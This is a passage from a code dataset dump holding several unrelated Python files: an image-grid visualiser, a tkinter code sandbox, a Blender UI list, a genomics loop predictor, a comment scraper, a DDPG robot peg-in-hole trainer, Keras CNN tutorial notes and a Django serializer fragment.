\"\"\"align [N, C, H, W] image tensor to [H, W, 3] image grids, for visualization\"\"\"\n if normalize:\n tensor = normalize_image(tensor, scale=255) # normalize to 0-255 scale\n\n c = tensor.shape[1]\n assert c in (1, 3), \"only support color/grayscale images, got channel = {}\".format(c)\n nmaps = tensor.shape[0]\n xmaps = min(nrow, nmaps)\n ymaps = int(math.ceil(float(nmaps) / xmaps))\n height, width = int(tensor.shape[2] + padding), int(tensor.shape[3] + padding)\n num_channels = tensor.shape[1]\n grid = megengine.ones((num_channels, height * ymaps + padding, width * xmaps + padding), \"float32\") * background\n k = 0\n for y in range(ymaps):\n for x in range(xmaps):\n if k >= nmaps:\n break\n grid = grid.set_subtensor(tensor[k])[:,\n y * height + padding: (y + 1) * height,\n x * width + padding: (x + 1) * width]\n k = k + 1\n c, h, w = grid.shape\n grid = grid.dimshuffle(1, 2, 0) # [C,H,W] -> [H,W,C]\n grid = grid.broadcast(h, w, 3) # [H,W,C] -> [H,W,3]\n return grid\n\n\ndef save_image(image, path):\n if isinstance(image, megengine.Tensor):\n image = image.numpy()\n cv2.imwrite(path, image)\n","repo_name":"MegEngine/Models","sub_path":"official/vision/gan/megengine_mimicry/utils/vis.py","file_name":"vis.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":300,"dataset":"github-code","pt":"27"} +{"seq_id":"10871668001","text":"import subprocess\nimport os\n\nimport codeList\nfrom codeList import *\nimport CodeEditor\n\nfrom tkinter import ttk\n\n\npath = ''\ntemppath = os.path.expanduser('~')\n#directory = 'CaPybara projects'\n#dirpath = os.path.join(temppath, directory)\n#print(temppath)\n\n\ndef setup(frame, font_size):\n global sandboxFrame\n sandboxFrame = ttk.Frame(frame)\n # global codeL\n # codeL = codeList.createGUI(sandboxFrame)\n\n global editFrame\n editFrame = ttk.Frame(sandboxFrame)\n global scrollbar\n scrollbar = ttk.Scrollbar(editFrame, orient=VERTICAL)\n global textarea\n textarea = CodeEditor.setTextBox(editFrame, font_size, scrollbar)\n global outputFrame\n outputFrame = ttk.LabelFrame(sandboxFrame, text='Console')\n global scrollbar1\n scrollbar1 = ttk.Scrollbar(outputFrame, orient=VERTICAL)\n global outputarea\n outputarea = Text(outputFrame, font=('courier', font_size, 'bold'), yscrollcommand=scrollbar1.set)\n\n\ndef font_inc(event=None):\n global font_size\n font_size += 1\n textarea.config(font=('courier', font_size, 'bold'))\n\n\ndef font_dec(event=None):\n global font_size\n font_size -= 1\n textarea.config(font=('courier', font_size, 'bold'))\n\n\ndef run_code():\n global path\n if path == '':\n newpath = temppath + '\\\\tempfile.py'\n file = open(newpath, 'x')\n file.write(textarea.get(1.0, END))\n file.close()\n command = f'python {newpath}'\n run_file = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n output, error = run_file.communicate()\n outputarea.delete(1.0, END)\n outputarea.insert(1.0, output)\n outputarea.insert(1.0, error)\n os.remove(newpath)\n if path != '':\n command = f'python {path}'\n run_file = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n output, error = run_file.communicate()\n outputarea.delete(1.0, END)\n outputarea.insert(1.0, output)\n outputarea.insert(1.0, error)\n\n\ndef saveas(event=None):\n global path\n path = filedialog.asksaveasfilename(filetypes=[('Python Files', '*.py')], defaultextension='.py')\n if path != '':\n file = open(path, 'w')\n file.write(textarea.get(1.0, END))\n file.close()\n\ndef openfile(event=None):\n global path\n print(os.getlogin())\n path = filedialog.askopenfilename(filetypes=[('Python Files', '*.py')], defaultextension='.py')\n print(path)\n if path != '':\n file = open(path, 'r')\n data = file.read()\n textarea.delete(1.0, END)\n textarea.insert(1.0, data)\n file.close()\n\ndef save(event=None):\n if path == '':\n saveas()\n else:\n file = open(path, 'w')\n file.write(textarea.get(1.0, END))\n file.close()\n\ndef new(event=None):\n global path\n path = ''\n textarea.delete(1.0, END)\n outputarea.delete(1.0, END)\n\ndef clear():\n textarea.delete(1.0, END)\n outputarea.delete(1.0, END)\n\ndef placeEverything(frame, fontsize):\n setup(frame, fontsize)\n sandboxFrame.place(x=0, y=0, width=1000, height=720)\n codeList.createGUI(frame)\n # scrollbar2.config(side=RIGHT, fill=Y)\n editFrame.place(relx=0.2, y=0, relheight=1, relwidth=0.8)\n # scrollbar.config(side=RIGHT, fill=Y)\n textarea.place(relx=0.04,rely=0,relheight=1,relwidth=0.96)\n scrollbar.config(command=textarea.yview)\n outputFrame.place(relx=0.2, rely=0.8, relwidth=0.8, relheight=0.2)\n\n scrollbar1.pack(side=RIGHT, fill=Y)\n outputarea.pack(fill=BOTH)\n scrollbar1.config(command=textarea.yview)\n","repo_name":"crinazetu/capybara","sub_path":"sandbox.py","file_name":"sandbox.py","file_ext":"py","file_size_in_byte":3592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"27592898886","text":"import bpy\n\nclass NodeAssetLabelProperties(bpy.types.PropertyGroup):\n\tname : bpy.props.StringProperty(name='Label Name', default='')\n\tinvert : bpy.props.BoolProperty(default=False)\n\nclass UL_AssetLabelNode(bpy.types.UIList):\n\tbl_idname = \"NODE_UL_AssetLabelNode\"\n\n\tdef draw_item(self, context, layout, data, item, icon, active_data, active_propname, index):\n\t\trow = layout.row(align=True)\n\t\trow.alignment = 'LEFT'\n\t\trow.label(text=f'Not')\n\t\trow.prop(item, 'invert', text='')\n\t\trow.separator()\n\t\trow.alignment = 'EXPAND'\n\t\trow.prop(item, 'name', text='')\n\t\trow = layout.row(align=True)\n\t\trow.alignment = 'RIGHT'\n\t\to = row.operator('node.remove_asset_label', text='', icon='X')\n\t\to.index = index\n\t\to.node_name = data.name\n\nclasses = (NodeAssetLabelProperties,\n\t\t UL_AssetLabelNode)\n\ndef register():\n\tfrom bpy.utils import register_class\n\tfor cls in classes:\n\t\tregister_class(cls)\n\n\ndef unregister():\n\tfrom bpy.utils import unregister_class\n\tfor cls in reversed(classes):\n\t\tunregister_class(cls)\n\nif __name__ == \"__main__\":\n\tregister()","repo_name":"Tilapiatsu/blender-customization_handler","sub_path":"customization_node/nodes/operators/properties/node_label_properties.py","file_name":"node_label_properties.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19365480190","text":"import sys\nimport numpy\nimport pandas as pd\nimport getopt\nimport os\nimport shutil\nfrom sklearn.neural_network import MLPRegressor\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import r2_score\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.preprocessing import StandardScaler\nfrom pathos.multiprocessing import ProcessPool\nfrom sklearn.externals import joblib\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.externals import joblib\nimport math\n\ndef setDir(tmp_dir):\n if os.path.exists(tmp_dir):\n shutil.rmtree(tmp_dir)\n os.mkdir(tmp_dir)\n\ndef cleanOutlier(data,column,mul=3):\n data = data[data[:,column].argsort()]\n l = len(data)\n low = int(l/4)\n high = int(l/4*3)\n lowValue = data[low,column]\n highValue = data[high,column]\n if lowValue - mul * (highValue - lowValue) < data[0,column]:\n delLowValue = data[0,column]\n else:\n delLowValue = lowValue - mul * (highValue - lowValue)\n if highValue + mul * (highValue - lowValue) > data[-1,column]:\n delHighValue = data[-1,column]\n else:\n delHighValue = highValue + mul * (highValue - lowValue)\n for i in range(low):\n if data[i,column] >= delLowValue:\n recordLow = i\n break\n for i in range(len(data)-1,high,-1):\n if data[i,column] <= delHighValue:\n recordHigh = i\n break\n\n print(\"origin total row:{}\".format(len(data)))\n print(\"retain:{}-{}row\".format(recordLow,recordHigh))\n data = data[recordLow:recordHigh+1]\n print(\"delete column:{},reamining column:{}\".format(column,\\\n recordHigh+1-recordLow))\n print(\"-------------------------------------------------------------------\")\n return data\n\ndef extractFunc_map2(predict_extrChrom,num,row,total):\n if int(predict_extrChrom.iloc[num][2]) <= int(predict_extrChrom.iloc[row][1]):\n distance = int(predict_extrChrom.iloc[row][1]) - int(predict_extrChrom.iloc[num][2])\n feature_list = predict_extrChrom.iloc[num][0:total].tolist() + predict_extrChrom.iloc[row][0:total].tolist()\n feature_list.append(distance)\n else:\n feature_list=[]\n return feature_list\n\ndef extracFunc_map(predict_extrChrom,num,total):\n list_predict_extrChrom = [predict_extrChrom for row in range(num+1,total)]\n list_num=[num for row in range(num+1,total)]\n list_total=[total for row in range(num+1,total)]\n list_row=[row for row in range(num+1,total)]\n if num < total:\n extract_loop_fitst = list(map(extractFunc_map2, list_predict_extrChrom, list_num, list_row,list_total))\n else:\n print(\"The End\")\n extract_loop_df=pd.DataFrame(extract_loop_fitst)\n return extract_loop_df\n\n\ndef scaleAndPredict_map(rootdir,list_path,scaler_x,scaler_y,clf,column_num,output_name,cutoff):\n path = os.path.join(rootdir, list_path)\n if os.path.isfile(path):\n if path.find(\"feature_\")>-1:\n df_tmp = pd.read_csv(path, delimiter='\\t', header=None, low_memory=False)\n df_tmp_backup=df_tmp[[0, 1, 2,column_num, column_num + 1, column_num + 2]]\n df_tmp.drop(columns=[0, 1, 2,column_num, column_num + 1, column_num + 2],inplace=True) \n print(path+\": \"+\"Start to scale the feature...\")\n X_predict = scaler_x.transform(df_tmp)\n\n print(path+\": \"+\"Start to predict...\")\n Y_predict = clf.predict(X_predict)\n Y_scaleback = scaler_y.inverse_transform(Y_predict)\n for i in range(len(Y_scaleback)):\n Y_scaleback[i]=math.exp(Y_scaleback[i])\n df_tmp_backup[\"predict\"]=Y_scaleback\n df_tmp_backup = df_tmp_backup.loc[df_tmp_backup['predict']>int(cutoff)]\n\n list_name=os.path.splitext(list_path)[0]\n df_tmp_backup.dropna(axis=0, how='any', thresh=None, subset=None, inplace=True)\n df_tmp_backup.to_csv(output_name+\"/predict_results/predict_\"+list_name, index=False, sep=\" \",header=False)\n print(path+\" \"+\"predict success!\")\n else:\n print(path+\" \"+\"feature file dosen't exist!\")\n else:\n print(path+\" \"+\"predict failed!\")\n\ndef scaleAndPredict(df_tmp,scaler_x,scaler_y,clf,column_num,output_name,cutoff):\n df_tmp_backup=df_tmp[[\"V1\",\"V2\",\"V3\",\"V4\",\"V5\",\"V6\",\"type\"]]\n df_tmp.drop([\"V1\",\"V2\",\"V3\",\"V4\",\"V5\",\"V6\",\"type\"],inplace=True,axis=1) \n \n print(\"---------------------Start to scale the feature-----------------\")\n X_predict = scaler_x.transform(df_tmp)\n\n print(\"---------------------Start to predict---------------------------\")\n Y_predict = clf.predict(X_predict)\n print(\"number of predicting loops:\",len(Y_predict))\n\n Y_scaleback = scaler_y.inverse_transform(Y_predict)\n for i in range(len(Y_scaleback)):\n Y_scaleback[i]=math.exp(Y_scaleback[i])\n df_tmp_backup[\"predict\"]=Y_scaleback\n df_tmp_backup = df_tmp_backup.loc[df_tmp_backup['predict']>int(cutoff)]\n return df_tmp_backup\n \n\n##Write the features into new files according to chromasomes\ndef extractFunc(df_predict,chromName,output_name):\n predict_extrChrom = df_predict.loc[chromName]\n predict_extrChrom = predict_extrChrom[predict_extrChrom[\"V2\"].notnull()].copy()\n predict_extrChrom = predict_extrChrom[predict_extrChrom[\"V3\"].notnull()].copy()\n predict_extrChrom.loc[:,[\"V2\"]] = predict_extrChrom.loc[:,[\"V2\"]].astype('int')\n predict_extrChrom.loc[:,[\"V3\"]] = predict_extrChrom.loc[:,[\"V3\"]].astype('int')\n predict_extrChrom=predict_extrChrom.sort_values(by=['V2'])\n predict_extrChrom_rowNum=predict_extrChrom.shape[0]\n predict_extrChrom_columnNum=predict_extrChrom.shape[1]\n predict_extrChrom.reset_index(drop=True)\n predict_extrChrom.index = [i for i in range(predict_extrChrom_rowNum)]\n print(\"Extracting features of \"+chromName+\"...\")\n\n list_predict_extrChrom = [predict_extrChrom for row in range(predict_extrChrom_rowNum)]\n list_num=[row for row in range(predict_extrChrom_rowNum)]\n list_total=[predict_extrChrom_rowNum for row in range(predict_extrChrom_rowNum)]\n extract_loop_fitst = list(map(extracFunc_map, list_predict_extrChrom,list_num,list_total))\n extract_loop_df=pd.DataFrame(columns=[predict_extrChrom_columnNum])\n '''\n for i in range(len(extract_loop_fitst)):\n df_tmp=extract_loop_fitst[i]\n extract_loop_df=extract_loop_df.append(df_tmp)\n '''\n print(\"Writing features of \" + chromName+\"...\")\n extract_loop_df.to_csv(output_name+'/tmp2/feature_' + str(chromName), index=False, header=False, sep=\"\\t\")\n print(extract_loop_df)\n return extract_loop_df\n\ndef predict(infile,trainfile,model,cutoff,output):\n ##Read predict sample...\n ##modify the name/order of features\n df_predict = pd.read_csv(infile, delimiter='\\t',low_memory=False)\n colnames=df_predict.columns.values.tolist()\n #df_predict=changeName(colnames,df_predict)\n\n column_num=df_predict.shape[1]\n\n \n df_predict.rename(columns={colnames[0]:'V1',colnames[1]:'V2',colnames[2]:'V3',colnames[3]:'V4',colnames[4]:'V5',colnames[5]:'V6'},inplace = True)\n \n ##load the scale and model of training set\n df_train = pd.read_csv(trainfile, delimiter='\\t', header=None)\n data_train = df_train.values.astype('float')\n X = data_train[:, 1:column_num]\n Y = data_train[:, 0]\n for i in range(len(Y)):\n if Y[i] == 0:\n Y[i] = math.log(Y[i]+1)\n else:\n Y[i] = math.log(Y[i])\n\n scaler_x = StandardScaler().fit(X)\n scaler_y = StandardScaler().fit(Y.reshape(-1, 1))\n clf = joblib.load(model)\n print(\"---------------------Loading model success!---------------------\")\n\n df_tmp_backup=scaleAndPredict(df_predict,scaler_x,scaler_y,clf,column_num,output,cutoff)\n df_tmp_backup.dropna(axis=0, how='any', thresh=None, subset=None, inplace=True)\n df_tmp_backup.to_csv(output+\"/predicted_result.bedpe\", index=False, sep=\"\\t\",header=False)\n print(\"---------------------predict success!---------------------------\")\n","repo_name":"bioinfomaticsCSU/LoopPredictor","sub_path":"looppredictor/trainingtool.py","file_name":"trainingtool.py","file_ext":"py","file_size_in_byte":8054,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"27"} +{"seq_id":"23016463672","text":"import requests\r\nimport re\r\nimport csv\r\nimport json\r\nimport pprint\r\nimport csv\r\nimport time\r\nfrom lxml import etree\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom selenium.webdriver.common.keys import Keys\r\nchrome_options = Options()\r\nchrome_options.add_argument('--headless')\r\ndriver=webdriver.Chrome(chrome_options=chrome_options)\r\n\r\ndef get_url():\r\n csv_file=csv.reader(open('test1.csv','r'))\r\n for list in csv_file:\r\n url=list[11]\r\n print(url)\r\n driver.get(url)\r\n html=driver.page_source\r\n result=etree.HTML(html)\r\n t='//*[@id=\"react-project-comments\"]/ul/li'\r\n # leader=result.xpath('//*[@id=\"react-project-header\"]/div/div/div[2]/div/div[1]/div[2]/span/a/text()')\r\n # title=result.xpath('//*[@id=\"react-project-header\"]/div/div/div[2]/div/div[1]/div[1]/h2/text()')\r\n # p=result.xpath('//*[@id=\"content-wrap\"]/div[2]/section[1]/div/div/div/div/div[1]/div[2]/p/text()')\r\n # print(''.join(title))\r\n # print(''.join(p))\r\n try:\r\n n=result.xpath('//*[@id=\"comments-emoji\"]/span/data/text()')\r\n if(''.join(n)!='0'):\r\n elem=driver.find_element_by_css_selector('#comments-emoji')\r\n elem.click()\r\n time.sleep(5)\r\n # html=driver.page_source\r\n # result=etree.HTML(html)\r\n # elem=driver.find_element_by_css_selector('#react-project-comments > ul > li:nth-child(2) > div.pl6.pt2 > div > button').click()\r\n html = driver.page_source\r\n result = etree.HTML(html)\r\n num = len(result.xpath(t))\r\n i=1\r\n for i in range(num+1):\r\n j=1\r\n first_name=result.xpath('//*[@id=\"react-project-comments\"]/ul/li['+str(i)+']/div[1]/div[1]/div/span[1]/text()')\r\n first_text=result.xpath('//*[@id=\"react-project-comments\"]/ul/li['+str(i)+']/div[1]/div[2]/div/p/text()')\r\n print(''.join(first_name))\r\n print(''.join(first_text))\r\n nums=len(result.xpath('//*[@id=\"react-project-comments\"]/ul/li['+str(i)+']/div[2]/ul/li'))\r\n for j in range(nums+1):\r\n second_name=result.xpath('//*[@id=\"react-project-comments\"]/ul/li['+str(i)+']/div[2]/ul/li['+str(j)+']/div/div[1]/div/span[1]/text()')\r\n second_text=result.xpath('//*[@id=\"react-project-comments\"]/ul/li['+str(i)+']/div[2]/ul/li['+str(j)+']/div/div[2]/div/p/text()')\r\n print(' '+''.join(second_name))\r\n print(' '+''.join(second_text))\r\n else:\r\n print(\"由于评论数为0,所以跳过该网页\")\r\n except:\r\n print('该项目已经失效')\r\n\r\n\r\ndef main():\r\n get_url()\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"wyxct/spider","sub_path":"评论爬取/P_W.py","file_name":"P_W.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"31906445800","text":"# -*- coding: utf-8 -*-\n\"\"\"\n-------------------------------------------------\n File Name: Simulate_main\n Description :\n Author : Zhimin Hou\n date: 18-1-12\n-------------------------------------------------\n Change Activity:\n 18-1-12\n-------------------------------------------------\n\"\"\"\n\n# -*- coding: utf-8 -*-\nimport os\nimport time\nfrom collections import deque\nimport pickle\nimport sys\nfrom baselines import logger\nfrom simulation_ddpg import DDPG\nfrom util import mpi_mean, mpi_std, mpi_max, mpi_sum\nimport baselines.common.tf_util as U\nimport tensorflow as tf\nfrom mpi4py import MPI\nimport numpy as np\nimport pandas as pd\n\n\n\"\"\"First the path should be added.\"\"\"\nsys.path.append(\"/home/zhimin/PycharmProjects/RL_UA/Peg_in_Hole/1-baselines\")\n\n\ndef train(env, nb_epochs, nb_epoch_cycles, render_eval, reward_scale, render, param_noise, actor, critic,\n normalize_returns, normalize_observations, critic_l2_reg, actor_lr, critic_lr, action_noise,\n popart, gamma, clip_norm, nb_train_steps, nb_rollout_steps, nb_eval_steps, batch_size, memory,\n tau=0.01, eval_env=None, param_noise_adaption_interval=50, restore=False):\n rank = MPI.COMM_WORLD.Get_rank()\n max_action = np.array([0.2, 0.2, 0.2, 0.2, 0.2, 0.2])\n # min_action = np.array([-0.2, -0.2, -0.2, -0.2, -0.2, -0.2])\n\n logger.info('scaling actions by {} before executing in env'.format(max_action))\n model_directory = '/home/zhimin/PycharmProjects/RL_UA/Peg_in_Hole/1-baselines/baselines/ddpg/simulation_data'\n\n agent = DDPG(actor, critic, memory, env.state_dim, env.action_dim,\n gamma=gamma, tau=tau, normalize_returns=normalize_returns,\n normalize_observations=normalize_observations,\n batch_size=batch_size, action_noise=action_noise, param_noise=param_noise, critic_l2_reg=critic_l2_reg,\n actor_lr=actor_lr, critic_lr=critic_lr, enable_popart=popart, clip_norm=clip_norm,\n reward_scale=reward_scale, restore=restore)\n\n logger.info('Using agent with the following configuration:')\n logger.info(str(agent.__dict__.items()))\n\n saver = tf.train.Saver()\n\n \"\"\"Set up logging stuff only for a single worker\"\"\"\n # if rank == 0:\n # saver = tf.train.Saver()\n # else:\n # saver = None\n # eval_episode_rewards_history = deque(maxlen=100)\n episode_rewards_history = deque(maxlen=100)\n\n with U.single_threaded_session() as sess:\n \"\"\"Prepare everything\"\"\"\n if restore:\n saver = tf.train.import_meta_graph(model_directory + 'model.meta')\n agent.restore_model(model_directory, saver, sess)\n else:\n agent.initialize(sess)\n sess.graph.finalize()\n\n \"\"\"Agent Reset\"\"\"\n agent.reset()\n # episode_step = 0\n # episodes = 0\n # t = 0\n \"\"\"Force calibration\"\"\"\n # if env.robot_control.CalibFCforce() is False:\n # exit()\n\n delay_rate = np.power(10, 1 / nb_epochs)\n epoch_start_time = time.time()\n\n epoch_episode_rewards = []\n epoch_episode_steps = []\n epoch_adaptive_distances = []\n epoch_episodes_discount_reward = []\n epoch_episodes_average_reward = []\n\n epoch_actions = []\n epoch_qs = []\n Force_moments = []\n epoch_episodes = 0\n Long_term_reward = - 0.10\n for epoch in range(nb_epochs):\n\n \"\"\"Show the result for cycle 20 times and Save the model\"\"\"\n epoch_actor_losses = []\n epoch_critic_losses = []\n \"\"\"Delay the learning rate\"\"\"\n epoch_actor_lr = actor_lr / delay_rate\n epoch_critic_lr = critic_lr / delay_rate\n\n for cycle in range(nb_epoch_cycles):\n \"\"\"environment reset \"\"\"\n agent.reset()\n obs = env.reset()\n episode_reward = 0.\n episode_discount_reward = 0.\n q_value = 0.\n done = False\n forcement = []\n Last_average_reward = 0.\n Number_episodes = 0.\n for t_rollout in range(nb_rollout_steps):\n\n \"\"\"Predict next action\"\"\"\n action, q = agent.pi(obs, apply_noise=True, compute_Q=True)\n assert action.shape[0] == env.action_dim\n\n q_value += q\n \"\"\"scale for execution in env\"\"\"\n new_obs, r, done, info, expert_action = env.step(action, t_rollout)\n episode_discount_reward += gamma * r\n\n \"\"\"adapt_action_noise\"\"\"\n agent.feed_back_explore(action, expert_action)\n\n logger.info(\"The maximum force:\" + str(max(abs(new_obs[0:3]))) + \" The maximum moments:\" + str(max(abs(new_obs[3:6]))))\n episode_reward += r\n\n delta = r - Long_term_reward\n # if memory.nb_entries >= batch_size and param_noise is not None:\n # agent.feed_back_explore(delta)\n Number_episodes = gamma + gamma*Number_episodes\n Last_average_reward = r + gamma*Last_average_reward\n\n \"\"\"Plot the force and moments\"\"\"\n # if render:\n # forcement.append(new_obs[0:6])\n # # print(forcement)\n # Force_moments.append(new_obs[0:6])\n # env.plot_force(forcement, t_rollout+1)\n\n if epoch == 0 and cycle == 0:\n forcement.append(new_obs[0:6])\n Force_moments.append(new_obs[0:6])\n # env.plot_force(forcement, t_rollout + 1)\n\n\n if epoch == nb_epoch_cycles - 1 and cycle == nb_epoch_cycles - 1:\n forcement.append(new_obs[0:6])\n Force_moments.append(new_obs[0:6])\n # env.plot_force(forcement, t_rollout + 1)\n\n epoch_actions.append(action)\n agent.store_transition(obs, action, r, new_obs, done)\n obs = new_obs\n\n \"\"\"Episode done and start pull the pegs step by step\"\"\"\n if done:\n logger.info('Peg-in-hole assembly done!!!')\n epoch_episode_rewards.append(episode_reward)\n epoch_episodes_discount_reward.append(Last_average_reward)\n episode_rewards_history.append(episode_reward)\n epoch_episode_steps.append(t_rollout)\n epoch_episodes += 1\n # pull_done = False\n # while pull_done is False and info:\n # pull_done, pull_safe = env.step_up() #Simulation env\n # pull_done, pull_safe = env.pull_up() #True env\n #\n # if pull_safe is False:\n # logger.info('Pull up the pegs failed for the exceed force!!!')\n # exit()\n break\n\n \"\"\"Episode failed and start pull the pegs step by step\"\"\"\n if info is False:\n logger.info('Peg-in-hole assembly failed for the exceed force!!!')\n # pull_done = False\n # while pull_done is False and info:\n # pull_done, pull_safe = env.step_up()\n # pull_done, pull_safe = env.pull_up() # True env\n #\n # if pull_safe is False:\n # logger.info('Peg-in-hole assembly failed for the exceed force!!!')\n # exit()\n\n break\n\n Long_term_reward = Last_average_reward/Number_episodes\n epoch_qs.append(q_value)\n env.save_figure('force_moment')\n epoch_episodes_average_reward.append(Long_term_reward)\n agent.feedback_adptive_explore()\n if t_rollout == nb_rollout_steps - 1:\n logger.info('Peg-in-hole assembly failed for exceed steps!!!')\n logger.info('The deepest position'.format(obs[8]))\n\n \"\"\"train model for nb_train_steps times\"\"\"\n for t_train in range(nb_train_steps):\n cl, al = agent.train(epoch_actor_lr, epoch_critic_lr)\n epoch_critic_losses.append(cl)\n epoch_actor_losses.append(al)\n agent.update_target_net()\n\n \"\"\"Adapt param noise, if necessary\"\"\"\n if memory.nb_entries >= batch_size and param_noise is not None:\n distance = agent.adapt_param_noise()\n epoch_adaptive_distances.append(distance)\n\n \"\"\"write the result into the summary\"\"\"\n agent.log_scalar(\"actor_loss\", mpi_mean(epoch_actor_losses), epoch_episodes)\n agent.log_scalar(\"critic_loss\", mpi_mean(epoch_critic_losses), epoch_episodes)\n agent.log_scalar(\"episode_score\", mpi_mean(epoch_episode_rewards), epoch_episodes)\n agent.log_scalar(\"episode_steps\", mpi_mean(epoch_episode_steps), epoch_episodes)\n agent.log_scalar(\"episode_average_reward\", mpi_mean(epoch_episodes_average_reward), epoch_episodes)\n agent.log_scalar(\"episode_discount_score\", mpi_mean(epoch_episodes_discount_reward), epoch_episodes)\n\n \"\"\"Log stats.\"\"\"\n epoch_train_duration = time.time() - epoch_start_time\n stats = agent.get_stats()\n combined_stats = {}\n for key in sorted(stats.keys()):\n combined_stats[key] = mpi_mean(stats[key])\n\n \"\"\"Rollout statistics. compute the mean of the total nb_epoch_cycles\"\"\"\n combined_stats['rollout/return'] = mpi_mean(epoch_episode_rewards)\n combined_stats['rollout/return_history'] = mpi_mean(np.mean(episode_rewards_history))\n combined_stats['rollout/episode_steps'] = mpi_mean(epoch_episode_steps)\n combined_stats['rollout/episodes'] = mpi_sum(epoch_episodes)\n combined_stats['rollout/actions_mean'] = mpi_mean(epoch_actions)\n combined_stats['rollout/actions_std'] = mpi_std(epoch_actions)\n combined_stats['rollout/Q_mean'] = mpi_mean(epoch_qs)\n\n \"\"\"Train statistics\"\"\"\n combined_stats['train/loss_actor'] = mpi_mean(epoch_actor_losses)\n combined_stats['train/loss_critic'] = mpi_mean(epoch_critic_losses)\n combined_stats['train/param_noise_distance'] = mpi_mean(epoch_adaptive_distances)\n\n \"\"\"save the model and the result\"\"\"\n saver.save(sess, model_directory + 'simulation_model')\n # re_rewards = pd.DataFrame(epoch_episode_rewards)\n # re_rewards.to_csv(\"re_rewards.csv\", sep=',', header=False, index=False)\n re_forcement = pd.DataFrame(Force_moments)\n re_forcement.to_csv(model_directory + 'simulation_forcement', sep=',', header=False, index=False)\n # re_steps = pd.DataFrame(epoch_episode_steps)\n # re_steps.to_csv(\"re_steps.csv\", sep=',', header=False, index=False)\n # nf = pd.read_csv(\"data.csv\", sep=',', header=None)\n\n for key in sorted(combined_stats.keys()):\n logger.record_tabular(key, combined_stats[key])\n\n logger.dump_tabular()\n logger.info('')\n logdir = logger.get_dir()\n if rank == 0 and logdir:\n if hasattr(env, 'get_state'):\n with open(os.path.join(logdir, 'env_state.pkl'), 'wb') as f:\n pickle.dump(env.get_state(), f)\n if eval_env and hasattr(eval_env, 'get_state'):\n with open(os.path.join(logdir, 'eval_env_state.pkl'), 'wb') as f:\n pickle.dump(eval_env.get_state(), f)\n","repo_name":"SongleChen2015/Peg_in_hole_assembly","sub_path":"baselines/ddpg/src/simulation/Simulate_training.py","file_name":"Simulate_training.py","file_ext":"py","file_size_in_byte":12114,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"27"} +{"seq_id":"40002939610","text":"# Image Processing With Neural Networks\n\n# A. Intro to CNN\n# Convolutional neural networks use the data that is represented in images to learn\n# 1. Images as data: visualizations\n# Import matplotlib\nimport matplotlib.pyplot as plt\n\n# Load the image\ndata = plt.imread('bricks.png')\n\n# Display the image\nplt.imshow(data)\nplt.show()\n\n# 2. Changing images\n# The last dimension of the data allows the user to interact with the Red Green Blue (RGB) dynamics of the image.\n# If all three dimensions where set to 1 then the image would display a yellow colour\n# Set the red channel in this part of the image to 1\ndata[:10, :10, 0] = 1\n\n# Set the green channel in this part of the image to 0\ndata[:10, :10, 1] = 0\n\n# Set the blue channel in this part of the image to 0\ndata[:10, :10, 2] = 0\n\n# Visualize the result\nplt.imshow(data)\nplt.show()\n\n# B. Classifying images\n# Providing the algorithm with labels allows it to learn which features to train for\n# 1. Using one-hot encoding to represent images\n# The number of image categories\nn_categories = 3\n\n# The unique values of categories in the data\ncategories = np.array([\"shirt\", \"dress\", \"shoe\"])\n\n# Initialize ohe_labels as all zeros. Creates the 2D array to map each row and column\nohe_labels = np.zeros((len(labels), n_categories))\n\n# Loop over the labels\nfor ii in range(len(labels)):\n # Find the location of this label in the categories variable\n jj = np.where(categories == labels[ii])\n # Set the corresponding zero to one\n ohe_labels[ii, jj] = 1\n\n# 2. Evaluating a classifier\n# Model was used to predict labels for the test dataset\n# Calculate the number of correct predictions\nnumber_correct = np.sum(test_labels * predictions)\nprint(number_correct)\n\n# Calculate the proportion of correct predictions\nproportion_correct = number_correct / len(predictions)\nprint(proportion_correct)\n\n# C. Classification with keras\n# 1. Build a neural network\n# Creating a neural network with Dense layers, means that each unit in each layer is connected to all of the units in the previous layer\n# Imports components from Keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense\n\n# Initializes a sequential model\nmodel = Sequential()\n\n# First layer. Input shape is the product of the pixel image size (28, 28) \nmodel.add(Dense(10, activation=\"relu\", input_shape=(784,)))\n\n# Second layer\nmodel.add(Dense(10, activation=\"relu\"))\n\n# Output layer\nmodel.add(Dense(3, activation=\"softmax\"))\n\n# 2. Compile a NN\n# Compile the model\nmodel.compile(optimizer='adam', \n loss='categorical_crossentropy', \n metrics=['accuracy'])\n\n# 3. Fitting an NN model to the clothing data\n# Reshape the data to two-dimensional array. There were 50 images and then the pixel size of the images\ntrain_data = train_data.reshape((50, 784))\n\n# Fit the model\nmodel.fit(train_data, train_labels, validation_split=0.2, epochs=3)\n\n# 4. Cross validation of the NN\n# Reshape test data\ntest_data = test_data.reshape(10, 784)\n\n# Evaluate the model\nmodel.evaluate(test_data, test_labels)\n","repo_name":"James-McNeill/Learning","sub_path":"Python/DL/Keras/ImageProcessing/intro-cnn.py","file_name":"intro-cnn.py","file_ext":"py","file_size_in_byte":3028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"11934406296","text":"from rest_framework import serializers\nfrom articleapp.models import DBProjectArticle\n\n\nclass ProjectArticleSerializer(serializers.ModelSerializer):\n class Meta:\n model = DBProjectArticle\n fields = ['id','title', 'content', 'category', 'contact', 'like', 'create_at', 'update_at', 'writer',\n 'project_name','project_due_date', 'project_stack', 